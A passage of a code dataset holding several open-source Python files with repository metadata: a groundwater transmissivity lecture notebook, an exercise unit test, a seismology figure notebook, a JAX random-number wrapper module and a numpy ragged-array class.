"19ab18547e06e93fabfbd7f7b2f0f07ff0e70db3", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 18.3846153846, "max_line_length": 61, "alphanum_fraction": 0.4853556485, "include": true, "reason": "import numpy", "num_tokens": 131, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.44167300566462553, "lm_q2_score": 0.1581743467959293, "lm_q1q2_score": 0.06986133916839692}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport scipy as sc\nimport pandas as pd\n\n\n# #  Lecture 7 -  Wells and aquifer\n# \n# ## Prof. Liedl/Prof. Werth/Prof. Chahar/Prabhas is to add the text contents.\n# ## Anne/Sophie is to add the numerical contents\n# \n# Include ipynb file for:\n# \n# Theis method.\n# \n# \n\n# ## Transmissivity ##\n\n# When discussing storage properties in Chapter / Lecture \u2026, we saw that aquifers or single layers may frequently be treated as two-dimensional systems. This is justified because the lateral extension of aquifers is usually much larger than the vertical extension. Thus, vertical variations of storage properties can be replaced by some average value without adversely affecting the quantification of groundwater storage.\n# \n# Similar things can be done with regard to conductivity properties and this brings us to the geohydraulic parameter of **Transmissivity**. The idea is to neglect vertical variations of _hydraulic conductivity_ ($K$)  and to use vertically averaged values instead. This procedure does not eliminate horizontal variability, so _transmissivity_ may still depend on horizontal coordinates $(x, y)$.\n# \n# The vertically averaged $K$ value is then multiplied by the water-saturated thickness to obtain transmissivity. The concept of water-saturated thickness (or water-saturated depth) requires to distinguish whether _confined_ or _unconfined_ flow conditions prevail.\n# \n# In general, water-saturated thickness is the distance from the aquifer bottom to a level up to which all pores are filled with water. For _confined aquifers_, this level is equal to aquifer top and water-saturated thickness is tantamount to aquifer thickness. For _unconfined aquifers_, however, water-saturated thickness corresponds to the distance between aquifer bottom and groundwater level. We will see some illustrations below when we try to quantify _transmissivity_.\n# \n# The symbol $T$ is mostly used to denote transmissivity which has a dimension of $L^2T^{-1}$.\n# \n# \n\n# Let us have a closer look at the confined case first. The black cuboid in Fig.[LINK] illustrates that water-saturated thickness extends from aquifer bottom to aquifer top. So, it is equal to _aquifer thickness_ $m$. Transmissivity is calculated by\n# \n# $$\n# T_x = K_x \\cdot m  \\;\\; \\text{ and }  \\;\\; Ty = K_y \\cdot m\n# $$\n# \n# Here we allow for horizontal aquifer anisotropy with different hydraulic conductivities in $x-$ and $y-$ direction $(K_x \\neq K_y)$. \n# \n# For horizontally isotropic aquifers $(K_x = K_y = K)$, transmissivity is given by $T = K  \\cdot m $.\n# \n# <a href=\"fig1\"></a><img src=\"images/L7_f1.png\" alt =\"Transmissivity-Confined aquifer\" width = \"400\">\n# \n\n# In[2]:\n\n\nprint(\"We already have large text content, equations and so we can add a simple numerical example here\")\n\n\n# Things are a bit more complicated for _unconfined aquifers_. Fig. [LINK] illustrates that water-saturated thickness extends from the aquifer bottom to the groundwater table. It is important to note that _transmissivity_ of unconfined aquifers depends on the vertical position of the groundwater table. \n# \n# For instance, if the groundwater table is lowered during to a draught period, _transmissivity_ is decreasing. This is fundamentally different from the confined case where the water-saturated thickness is given by aquifer geometry only and is not affected by hydraulic head changes.\n# \n# <a href=\"fig2\"></a><img src=\"images/L7_f2.png\" alt =\"Transmissivity-unconfined aquifer\" width = \"400\">\n\n# Computing transmissivity of unconfined aquifers requires to determine the difference of hydraulic head h and the elevation of aquifer bottom $z_{bot}$. Based on this, transmissivity is given by:\n# \n# $$T_x = K_x \\cdot (h \u2013 z_{bot})$$ \n# and \n# $$T_y = K_y \\cdot (h \u2013 z_{bot})$$\n# \n# As above, we are allowing for horizontal aquifer anisotropy. For an isotropic unconfined aquifer we get \n# $$T = K\\cdot(h \u2013 z_{bot})$$\n\n# In[3]:\n\n\nprint(\"We already have large text content, equations and so we can add a simple numerical example here\")\n\n\n# Two more remarks appear to be appropriate: \n# \n# - First, _transmissivity_ may be computed by the given equations even if the aquifer bottom is not horizontal. This case is not covered by the figure above. \n# - Second, textbooks frequently present the equation $$ T = K\\cdot h $$ for transmissivity of unconfined aquifers. It is to be noted that this equation only holds if two conditions are fulfilled: \n# \n# - The aquifer bottom must be horizontal and \n# - hydraulic head values are expressed with respect to the elevation of aquifer bottom (= reference datum).\n# \n# \n# Finally, we can try to compute transmissivity for isotropic aquifers and check how the result depends on several quantities like aquifer bottom, aquifer top, and hydraulic head.\n# \n\n# In[4]:\n\n\n# A bit more complicated numerical example here. An example from Prof. Liedl - we improve further.\n\nprint(\"Q1. Determine if the aquifer is confined or unconfind and compute it's Transmissivity\")\n\n# input\n\nK = 8.5e-5 # m/s, hydraulic conductivity\nAb = 120 # m asl, aquifer bottom elevation \nAt = 150 # m asl, aquifer top elevation \nH  = 139 # m, hydraulic head\n\n#intermediate calculation\nA_T = At - Ab # m, Aquifer thickness\nS_T = np.minimum(A_T, (H - Ab))\n\n# Results\n\nif H < At:\n   print(\"\\n It is a unconfined aquifer\")\nelse:\n   print(\"\\n It is a Confined aquifer\")\n   \nT = K*A_T # m\u00b2/s, Transmissivity\n\nprint(\"\\nThe transmissivity is {0:0.2e} m\\u00b2/s\".format(T))\n\n\n\n# In[ ]:\n\n\n\n\n", "meta": {"hexsha": "f03beeaa7b105aed496c3f68fe7d0922ba06d72f", "size": 5552, "ext": "py", "lang": "Python", "max_stars_repo_path": "_build/jupyter_execute/contents/flow/17_wells.py", "max_stars_repo_name": "prabhasyadav/iGW-I", "max_stars_repo_head_hexsha": "eba32830f32f1109a7bee600c65832af0e7183fa", "max_stars_repo_licenses": ["CC-BY-4.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "_build/jupyter_execute/contents/flow/17_wells.py", "max_issues_repo_name": "prabhasyadav/iGW-I", "max_issues_repo_head_hexsha": "eba32830f32f1109a7bee600c65832af0e7183fa", "max_issues_repo_licenses": ["CC-BY-4.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "_build/jupyter_execute/contents/flow/17_wells.py", "max_forks_repo_name": "prabhasyadav/iGW-I", "max_forks_repo_head_hexsha": "eba32830f32f1109a7bee600c65832af0e7183fa", "max_forks_repo_licenses": ["CC-BY-4.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 44.0634920635, "max_line_length": 476, "alphanum_fraction": 0.7490994236, "include": true, "reason": "import numpy,import scipy", "num_tokens": 1416, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.45326186278634367, "lm_q2_score": 0.15405755686555633, "lm_q1q2_score": 0.06982841520119513}}
{"text": "#!/usr/bin/env python3\n\nimport unittest\nfrom unittest.mock import patch\nimport numpy as np\nimport pandas as pd\n\nfrom tmc import points\n\nfrom tmc.utils import load, get_stdout, patch_helper\n\nmodule_name=\"src.subsetting_by_positions\"\nsubsetting_by_positions = load(module_name, \"subsetting_by_positions\")\nmain = load(module_name, \"main\")\nph = patch_helper(module_name)\n\n@points('p04-08.1')\nclass SubsettingByPositions(unittest.TestCase):\n\n    \n    def test_shape_and_columns(self):\n        df = subsetting_by_positions()\n        self.assertEqual(df.shape, (10,2), msg=\"The returned DataFrame had wrong shape!\")\n        #np.testing.assert_array_equal(df.index, range(10), err_msg=\"Incorrect index\")\n        np.testing.assert_array_equal(df.columns, [\"Title\", \"Artist\"],\n                                      err_msg=\"Incorrect column names\")\n\n    def test_called(self):\n        with patch(ph(\"subsetting_by_positions\"), wraps=subsetting_by_positions) as psbp,\\\n             patch(ph(\"pd.read_csv\"), wraps=pd.read_csv) as prc:\n            main()\n            psbp.assert_called()\n            prc.assert_called()\n            \nif __name__ == '__main__':\n    unittest.main()\n    \n", "meta": {"hexsha": "1a56915815c7f96a1f624bb3ba76512dd2e94bb9", "size": 1172, "ext": "py", "lang": "Python", "max_stars_repo_path": "part04-e08_subsetting_by_positions/test/test_subsetting_by_positions.py", "max_stars_repo_name": "alekshiidenhovi/Helsinki-University-Data-Analysis-with-Python", "max_stars_repo_head_hexsha": "bc27fa585d22d630a38312ee7c4b2173d5b80d12", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "part04-e08_subsetting_by_positions/test/test_subsetting_by_positions.py", "max_issues_repo_name": "alekshiidenhovi/Helsinki-University-Data-Analysis-with-Python", "max_issues_repo_head_hexsha": "bc27fa585d22d630a38312ee7c4b2173d5b80d12", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "part04-e08_subsetting_by_positions/test/test_subsetting_by_positions.py", "max_forks_repo_name": "alekshiidenhovi/Helsinki-University-Data-Analysis-with-Python", "max_forks_repo_head_hexsha": "bc27fa585d22d630a38312ee7c4b2173d5b80d12", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2022-02-14T20:07:29.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-11T07:30:23.000Z", "avg_line_length": 30.8421052632, "max_line_length": 90, "alphanum_fraction": 0.6757679181, "include": true, "reason": "import numpy", "num_tokens": 255, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.40733340004593027, "lm_q2_score": 0.1710612001304791, "lm_q1q2_score": 0.06967894026508538}}
{"text": "# ---\n# jupyter:\n#   jupytext:\n#     text_representation:\n#       extension: .py\n#       format_name: light\n#       format_version: '1.4'\n#       jupytext_version: 1.2.4\n#   kernelspec:\n#     display_name: Python 3\n#     language: python\n#     name: python3\n# ---\n\n# + {\"deletable\": true, \"editable\": true, \"cell_type\": \"markdown\"}\n# <div style='background-image: url(\"../../share/images/header.svg\") ; padding: 0px ; background-size: cover ; border-radius: 5px ; height: 250px'>\n#     <div style=\"float: right ; margin: 50px ; padding: 20px ; background: rgba(255 , 255 , 255 , 0.7) ; width: 50% ; height: 150px\">\n#         <div style=\"position: relative ; top: 50% ; transform: translatey(-50%)\">\n#             <div style=\"font-size: xx-large ; font-weight: 900 ; color: rgba(0 , 0 , 0 , 0.8) ; line-height: 100%\">Computational Seismology</div>\n#             <div style=\"font-size: large ; padding-top: 20px ; color: rgba(0 , 0 , 0 , 0.5)\">Reproducible Papers - Syngine Paper</div>\n#         </div>\n#     </div>\n# </div>\n\n# + {\"deletable\": true, \"editable\": true, \"cell_type\": \"markdown\"}\n# ---\n#\n# # Figure 8: Education\n#\n# This notebook is part of the supplementary materials for the Syngine paper and reproduces figure 8.\n#\n# This notebook creates the phase relative times figure. Requires matplotlib >= 1.5 and an ObsPy version (>= 1.0) with the syngine client.\n#\n# ##### Authors:\n# * Lion Krischer ([@krischer](https://github.com/krischer))\n\n# + {\"deletable\": true, \"editable\": true}\n# %matplotlib inline\n\nimport obspy\nimport numpy as np\n\nfrom obspy.clients.syngine import Client\n\nimport itertools\n\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.basemap import Basemap\nplt.style.use(\"seaborn-paper\")\n\n# + {\"deletable\": true, \"editable\": true}\nc = Client()\n\n# + {\"deletable\": true, \"editable\": true}\n# Get seismograms for various strike values.\n_d_plane_crossing = []\n\nfor strike in np.linspace(85, 95, 11):\n    print(strike)\n    _d_plane_crossing.append((strike, c.get_waveforms(model=\"ak135f_5s\",\n        receiverlatitude=0.0, receiverlongitude=0.0,\n        sourcelatitude=0.0, sourcelongitude=30.0, components=\"Z\", units=\"velocity\",\n        sourcedepthinmeters=0.0, sourcedoublecouple=[strike, 90.0, 0.0])[0]))\n    \n\n# + {\"deletable\": true, \"editable\": true}\nmax_amp = max(np.abs(_i[1].data).max() for _i in _d_plane_crossing)\n\nfor _i, tr in enumerate(_d_plane_crossing):\n    plt.plot(tr[1].data / max_amp + _i)\nplt.xlim(1300, 2100)\nplt.show()\n\n# + {\"deletable\": true, \"editable\": true}\n_d_depth = []\n\n# Get seismograms for various depths.\nfor depth in [10, 20, 30, 40, 50, 100, 200]:\n    print(depth)\n    _d_depth.append((depth, c.get_waveforms(model=\"ak135f_5s\",\n        receiverlatitude=0.0, receiverlongitude=0.0,\n        sourcelatitude=0.0, sourcelongitude=30.0, components=\"Z\", units=\"velocity\",\n        sourcedepthinmeters=depth * 1000, sourcemomenttensor=[1E20, 0, 0, 0, 0, 0])[0]))    \n\n# + {\"deletable\": true, \"editable\": true}\nmax_amp = max(np.abs(_i[1].data).max() for _i in _d_depth)\n\nfor _i, tr in enumerate(_d_depth):\n    plt.plot(tr[1].data / max_amp + _i * 0.5)\nplt.xlim(0, 6000)\nplt.show()\n\n# + {\"deletable\": true, \"editable\": true}\n# Plot everything.\nplt.figure(figsize=(8, 3))\n\nplt.subplot(121)\n\nmax_amp = max(np.abs(_i[1].data).max() for _i in _d_plane_crossing)\n\nticks = []\nlabels = []\n\nfor _i, tr in enumerate(_d_plane_crossing):\n    plt.plot(tr[1].times(), tr[1].data / max_amp * 200.4 + _i, color=\"0.1\")\n    ticks.append(_i)\n    labels.append(\"%i\" % (90.0 - tr[0]))\nplt.xlim(345, 460)\nplt.text(360, 10.8, \"P Phase\", size=\"small\")\nplt.text(403, 10.8, \"PP Phase\", size=\"small\")\nplt.ylim(-2, 12)\nplt.xlabel(\"Time since origin [s]\")\nplt.ylabel(\"$\\Delta_{strike}$ from nodal plane [degree]\")\nplt.yticks(ticks, labels)\n\nplt.subplot(122)\nmax_amp = max(np.abs(_i[1].data).max() for _i in _d_depth)\n\ncolors = [\"0.7\", \"0.1\", \"0.4\", \"0.1\", \"0.1\", \"0.1\", \"0.1\"]\n\nticks = []\nlabels = []\nfor _i, tr in enumerate(_d_depth):\n    plt.plot(tr[1].times(), tr[1].data / max_amp * 14.0 + _i, color=colors[_i])\n    ticks.append(_i)\n    labels.append(\"%i\" % (tr[0]))\nplt.xlim(0, 1500)\nplt.gca().yaxis.tick_right()\nplt.xlabel(\"Time since origin [s]\")\nplt.gca().yaxis.set_label_position(\"right\")\nplt.ylabel(\"Event depth [km]\")\nplt.yticks(ticks, labels)\nplt.tight_layout()\nplt.ylim(-1, 7)\nplt.savefig(\"education.pdf\")\nplt.show()\n# -\n\n\n", "meta": {"hexsha": "d5f17e107bc23b90a029637b3c6bb45482d05363", "size": 4346, "ext": "py", "lang": "Python", "max_stars_repo_path": "notebooks/Reproducible Papers/Syngine_2016/figure_8_education.py", "max_stars_repo_name": "krischer/seismo_live_build", "max_stars_repo_head_hexsha": "e4e8e59d9bf1b020e13ac91c0707eb907b05b34f", "max_stars_repo_licenses": ["CC-BY-3.0"], "max_stars_count": 3, "max_stars_repo_stars_event_min_datetime": "2020-07-11T10:01:39.000Z", "max_stars_repo_stars_event_max_datetime": "2020-12-16T14:26:03.000Z", "max_issues_repo_path": "notebooks/Reproducible Papers/Syngine_2016/figure_8_education.py", "max_issues_repo_name": "krischer/seismo_live_build", "max_issues_repo_head_hexsha": "e4e8e59d9bf1b020e13ac91c0707eb907b05b34f", "max_issues_repo_licenses": ["CC-BY-3.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "notebooks/Reproducible Papers/Syngine_2016/figure_8_education.py", "max_forks_repo_name": "krischer/seismo_live_build", "max_forks_repo_head_hexsha": "e4e8e59d9bf1b020e13ac91c0707eb907b05b34f", "max_forks_repo_licenses": ["CC-BY-3.0"], "max_forks_count": 3, "max_forks_repo_forks_event_min_datetime": "2020-11-11T05:05:41.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-12T09:36:24.000Z", "avg_line_length": 31.0428571429, "max_line_length": 147, "alphanum_fraction": 0.6481822365, "include": true, "reason": "import numpy", "num_tokens": 1414, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4765796659321433, "lm_q2_score": 0.1460872396128689, "lm_q1q2_score": 0.06962220785165003}}
{"text": "# -*- coding: utf-8 -*-\n# Copyright (C) 2020-2021 by SCICO Developers\n# All rights reserved. BSD 3-clause License.\n# This file is part of the SCICO package. Details of the copyright and\n# user license can be found in the 'LICENSE' file distributed with the\n# package.\n\n\"\"\"Random number generation.\n\nThis module provides convenient wrappers around several `jax.random\n<https://jax.readthedocs.io/en/stable/jax.random.html>`_ routines to handle\nthe generation and splitting of PRNG keys, as well as the generation of random\n:class:`.BlockArray`.\n\n::\n\n   # Calls to scico.random functions always return a PRNG key\n   # If no key is passed to the function, a new key is generated\n   x, key = scico.random.randn((2,))\n   print(x)   # [ 0.19307713 -0.52678305]\n\n   # scico.random functions automatically split the PRNGkey and return\n   # an updated key\n   y, key = scico.random.randn((2,), key=key)\n   print(y) # [ 0.00870693 -0.04888531]\n\nThe user is responsible for passing the PRNG key to :mod:`scico.random` functions.\nIf no key is passed, repeated calls to :mod:`scico.random` functions will return the same\nrandom numbers:\n\n::\n\n   x, key = scico.random.randn((2,))\n   print(x)   # [ 0.19307713 -0.52678305]\n\n   # No key passed, will return the same random numbers!\n   y, key = scico.random.randn((2,))\n   print(y)   # [ 0.19307713 -0.52678305]\n\n\nIf the desired shape is a tuple containing tuples, a :class:`.BlockArray` is returned:\n\n::\n\n   x, key = scico.random.randn( ((1, 1), (2,)), key=key)\n   print(x)  # scico.blockarray.BlockArray:\n             # DeviceArray([ 1.1378784 , -1.220955  , -0.59153646], dtype=float32)\n\n\"\"\"\n\n__author__ = \"\"\"Luke Pfister <pfister@lanl.gov>\"\"\"\n\nimport functools\nimport inspect\nimport sys\nfrom typing import Optional, Tuple, Union\n\nimport numpy as np\n\nimport jax\n\nfrom scico.blockarray import BlockArray, block_sizes\nfrom scico.typing import BlockShape, DType, JaxArray, PRNGKey, Shape\nfrom scico.util import is_nested\n\n\ndef _add_seed(fun):\n    \"\"\"\n    Modifies a jax.random function to add a `seed` argument.\n\n    Args:\n        fun: function to be modified, e.g., jax.random.normal. Expects `key`\n        to be the first argument.\n\n    Returns:\n        fun_alt: a version of `fun` supporting an optional `seed` argument that\n        is used to create a `jax.random.PRNGKey` that is passed along as the `key`.\n        The `key` argument may still be used, but is moved to be second-to-last.\n        By default, `seed=0`. The `seed` argument is added last. Other arguments are unchanged.\n    \"\"\"\n\n    # find number of arguments to fun\n    num_params = len(inspect.signature(fun).parameters)\n\n    def fun_alt(*args, key=None, seed=None, **kwargs):\n\n        # key and seed may be in *args, look for them\n        if len(args) >= num_params:  # they passed all position args including key\n            key = args[num_params - 1]\n        if len(args) > num_params:  # they passed all position args including key and seed\n            seed = args[num_params]\n\n        if key is not None and seed is not None:\n            raise ValueError(\"Key and seed cannot both be specified\")\n\n        if key is None:\n            if seed is None:\n                seed = 0\n            key = jax.random.PRNGKey(seed)\n\n        result = fun(key, *args[: num_params - 1], **kwargs)\n\n        key, subkey = jax.random.split(key, 2)\n        return result, key\n\n    lines = fun.__doc__.split(\"\\n\\n\")\n    fun_alt.__doc__ = \"\\n\\n\".join(\n        lines[0:1]\n        + [\n            f\"  Wrapped version of `jax.random.{fun.__name__} <https://jax.readthedocs.io/en/stable/jax.random.html#jax.random.{fun.__name__}>`_. \"\n            \"The SCICO version of this function moves the `key` argument to the end of the argument list, \"\n            \"adds an additional `seed` argument after that, and allows the `shape` argument \"\n            \"to accept a nested list, in which case a `BlockArray` is returned. \"\n            \"Always returns a `(result, key)` tuple.\",\n            \"  Original docstring below.\",\n        ]\n        + lines[1:]\n    )\n\n    return fun_alt\n\n\ndef _allow_block_shape(fun):\n    \"\"\"\n    Decorates a jax.random function so that the `shape` argument may be a BlockShape.\n    \"\"\"\n\n    # use inspect to find which argument number is `shape`\n    shape_ind = list(inspect.signature(fun).parameters.keys()).index(\"shape\")\n\n    @functools.wraps(fun)\n    def fun_alt(*args, **kwargs):\n\n        # get the shape argument if it was passed\n        if len(args) > shape_ind:\n            shape = args[shape_ind]\n        elif \"shape\" in kwargs:\n            shape = kwargs[\"shape\"]\n        else:  # shape was not passed, call fun as normal\n            return fun(*args, **kwargs)\n\n        # if shape is not nested, call fun as normal\n        if not is_nested(shape):\n            return fun(*args, **kwargs)\n        # shape is nested, so make a BlockArray!\n\n        # call the wrapped fun with an shape=(size,)\n        subargs = list(args)\n        subkwargs = kwargs.copy()\n        size = np.sum(block_sizes(shape))\n\n        if len(subargs) > shape_ind:\n            subargs[shape_ind] = (size,)\n        else:  # shape must be a kwarg if not a positional arg\n            subkwargs[\"shape\"] = (size,)\n\n        result_flat = fun(*subargs, **subkwargs)\n\n        return BlockArray.array_from_flattened(result_flat, shape)\n\n    return fun_alt\n\n\ndef _wrap(fun):\n    fun_wrapped = _add_seed(_allow_block_shape(fun))\n    fun_wrapped.__module__ = __name__  # so it appears in docs\n    return fun_wrapped\n\n\nexceptions = [  # these do not take key and shape\n    \"PRNGKey\",\n    \"double_sided_maxwell\",\n    \"fold_in\",\n    \"permutation\",\n    \"shuffle\",\n    \"split\",\n    \"weibull_min\",\n    \"threefry_2x32\",\n]\n\nfunc_names = [\n    t[0] for t in inspect.getmembers(jax.random, inspect.isfunction) if t[0] not in exceptions\n]\n\nfor name in func_names:\n    setattr(sys.modules[__name__], name, _wrap(getattr(jax.random, name)))\n\n\ndef randn(\n    shape: Union[Shape, BlockShape],\n    dtype: DType = np.float32,\n    key: Optional[PRNGKey] = None,\n    seed: Optional[int] = None,\n) -> Tuple[Union[JaxArray, BlockArray], PRNGKey]:\n    \"\"\"Return an array drawn from the standard normal distribution. Alias for :func:`scico.random.normal`.\n\n    Args:\n        shape:  Shape of output array.  If shape is a tuple, a DeviceArray is returned.\n            If shape is a tuple of tuples, a :class:`.BlockArray` is returned.\n        key:  JAX PRNGKey.  Defaults to None, in which case a new key\n              is created using the seed arg.\n        seed: Seed for new PRNGKey. Default: 0\n        dtype: dtype for returned value.  Default to float32.  If np.complex64,\n               generates an array sampled from complex normal distribution.\n\n    Returns:\n        tuple: A tuple (x, key) containing:\n\n           - **x** : (DeviceArray):  Generated random array\n           - **key** : Updated random PRNGKey.\n    \"\"\"\n    return normal(shape, dtype, key, seed)\n", "meta": {"hexsha": "734dfe2881261a1be02ef6325a3d2e4e6ba6d1a5", "size": 6916, "ext": "py", "lang": "Python", "max_stars_repo_path": "scico/random.py", "max_stars_repo_name": "lukepfister/scico", "max_stars_repo_head_hexsha": "c849c4fa6089b99d9a4dec520c9a04cca426d2d7", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "scico/random.py", "max_issues_repo_name": "lukepfister/scico", "max_issues_repo_head_hexsha": "c849c4fa6089b99d9a4dec520c9a04cca426d2d7", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "scico/random.py", "max_forks_repo_name": "lukepfister/scico", "max_forks_repo_head_hexsha": "c849c4fa6089b99d9a4dec520c9a04cca426d2d7", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 32.4694835681, "max_line_length": 147, "alphanum_fraction": 0.6427125506, "include": true, "reason": "import numpy,import jax", "num_tokens": 1802, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49609382947091946, "lm_q2_score": 0.14033624949008322, "lm_q1q2_score": 0.06961994742312175}}
{"text": "#!/usr/bin/env python\n\n\"\"\"\nragged_array\n\nA \"ragged\" array class -- build on numpy\n\nThe idea is to be able to store data that is essentially 2-d, but each row is\nan arbitrary length, like:\n\n1   2   3\n4   5   6   7   8   9 \n10 11  \n12 13  14  15  16  17  18\n19 20  21\n...\n\nThis can also be extended to support higher dimensional arrays, as long as\nonly the last dimension is the \"ragged\" one.\n\nInternally, the data is stored as an array of one less dimension, with indexes\ninto the array to identify the \"rows\". \n\nThe array can be indexed by row.\n\nOperations can be done on the entire array just like any numpy array\n  - this is one of the primary advantages of using a single numpy array \n    for the internal storage.\n  - Another advantage is that the data are all in a block that can be\n    passed off and manipulated in C or Cython  \n  - operations that require slicing, specifying an axis, etc, are likely to\n    fail\n\"\"\"\n\nimport numpy as np\n\nclass ragged_array:\n    \n    def __init__(self, data, dtype=None):\n        \"\"\"\n        create a new ragged array\n        \n        data should be a sequence of sequences:\n        [ [1, 2, 3], [4,5,6,7], [4,2] ]\n        \n        if no dtype is provided, it will be determined by the type of the first row\n\n        \"\"\"\n        \n        # generate the arrays:\n        a = []\n        ind = [0]\n        # flatten the data sequence:\n        for row in data:\n            a.extend(row)\n            ind.append(ind[-1]+len(row))\n        self._data_array = np.array(a, dtype=dtype)\n        # note: using \"np.int\" for the index array should give me 32 bits on \n        #       32 bit python, and 64 bits on 64 bit python.\n        self._index_array = np.array(ind, dtype=np.int) \n\n    def append(self, row):\n\n        \"\"\"\n        Should this be supported?\n        \n        It does require a copy of the data array\n        \n        \"\"\"\n        self._data_array = np.r_[self._data_array, row]\n        self._index_array  = np.r_[self._index_array, (self._data_array.shape[0],) ]\n\n        \n    def __len__(self):\n        return len(self._index_array) - 1 # there is an extra index at the end, so that IndexArray[i+1] works\n        \n    def __getitem__(self,index):\n        \"\"\"\n        returns a numpy array of one row.\n        \"\"\"\n        if index > (len(self._index_array) - 1):\n            raise IndexError\n        if  index < 0:\n             if index < - (len(self._index_array) -1 ):\n                 raise IndexError\n             index = len(self._index_array) -1 + index\n        row = (self._data_array[self._index_array[index]:self._index_array[index+1]] )\n        return row\n\n    def __getslice__(self, i, j):\n        \"\"\"\n        ra.__getslice__(i, j) <==> a[i:j]\n    \n        Use of negative indices is not supported.\n        \n        This a view, just like numpy arrays\n        \"\"\"\n        ## this builds a new ragged_array, as a view onto the original\n        ##  fixme: this seems like it should be more elegant.\n        j = min( j, len(self) )\n        rslt = ragged_array(((),),)\n        rslt._data_array = self._data_array[self._index_array[i]:self._index_array[j]]\n        rslt._index_array = np.r_[0, (self._index_array[i+1:j+1] - self._index_array[i])]\n        return rslt\n    \n    def __string_middle(self):\n        '''\n        helper function that generates a list of strings fr the rows in the array\n        '''\n        middle = []\n        if len(self._data_array) > np.get_printoptions()['threshold']:\n            for row in self[:3]:\n                middle.append(str(row))\n            middle.append(\"...\")\n            for row in self[-3:]:\n                middle.append(str(row))\n        else:\n            for row in self:\n                middle.append(str(row))\n                \n        return middle\n    \n    def __str__(self):\n        \"\"\"\n        present a nice string representation of the array\n        \"\"\"\n        msg = self.__string_middle()\n        return \"\\n\".join(msg)\n\n    def __repr__(self):\n        \"\"\"\n        present a nice string representation of the array that is \"evaluateable\" \n        \"\"\"\n        msg = ['ragged_array([']\n        middle = self.__string_middle()\n        middle = \",\\n              \".join(middle)\n        msg.append(middle)\n        msg.append('])')\n        msg.append(\"\")\n        return \"\".join(msg)\n    \n    def flat(self):\n        \"\"\"\n        returns a flattend version of the array -- 1-d\n        \n        actually returns the internal array representation, so it shares a view with the ragged array\n        \n        \"\"\"\n        return self._data_array\n            \n\n", "meta": {"hexsha": "7a916b8f5cba685f2f36b4ca3840baba15a39fe5", "size": 4556, "ext": "py", "lang": "Python", "max_stars_repo_path": "numpy_extras/ragged_array.py", "max_stars_repo_name": "PythonCHB/NumpyExtras", "max_stars_repo_head_hexsha": "2af13223a249086502fc92311a5647cb65489fa8", "max_stars_repo_licenses": ["BSD-2-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "numpy_extras/ragged_array.py", "max_issues_repo_name": "PythonCHB/NumpyExtras", "max_issues_repo_head_hexsha": "2af13223a249086502fc92311a5647cb65489fa8", "max_issues_repo_licenses": ["BSD-2-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "numpy_extras/ragged_array.py", "max_forks_repo_name": "PythonCHB/NumpyExtras", "max_forks_repo_head_hexsha": "2af13223a249086502fc92311a5647cb65489fa8", "max_forks_repo_licenses": ["BSD-2-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 29.9736842105, "max_line_length": 109, "alphanum_fraction": 0.5689201054, "include": true, "reason": "import numpy", "num_tokens": 1107, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4960938294709195, "lm_q2_score": 0.14033624769237754, "lm_q1q2_score": 0.06961994653129107}}
